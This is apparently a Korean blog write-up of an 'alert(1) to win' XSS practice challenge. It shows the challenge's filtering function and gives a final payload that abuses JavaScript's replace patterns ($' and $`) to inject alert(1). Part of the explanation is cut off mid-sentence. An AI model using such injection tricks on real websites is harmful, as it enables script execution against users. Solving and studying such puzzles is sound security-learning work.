0. 문제
// submitted anonymously
function escape(s) {
const userInput = JSON.stringify(s).replace(/[<]/g, '%lt').replace(/[>]/g, '%gt');
const userTemplate = '<script>let some = %userData%</script>';
return userTemplate.replace(/%userData%/, userInput);
}
input 값중에 '<,>'를 필터링하고
'<script>let some = %userData%</script>' 에서 replace로 %userData%와 userInput을 치환한다.
1. 풀이

를 이용하여 userInput에 해당 Pattern을 넣어서 payload를 만들어주면 끝
최종 payload :
$'$`alert(1)//
'Web hacking > alert(1) to win' 카테고리의 다른 글
| [alert(1) to win] - 풀이현황 (0) | 2019.12.06 |
|---|---|
| [alert(1) to win] - TI(S)M - 191124 (0) | 2019.11.24 |
| [alert(1) to win] - JSON 3 - 191122 (0) | 2019.11.22 |
| [alert(1) to win] - Skandia 2 - 191113 (0) | 2019.11.13 |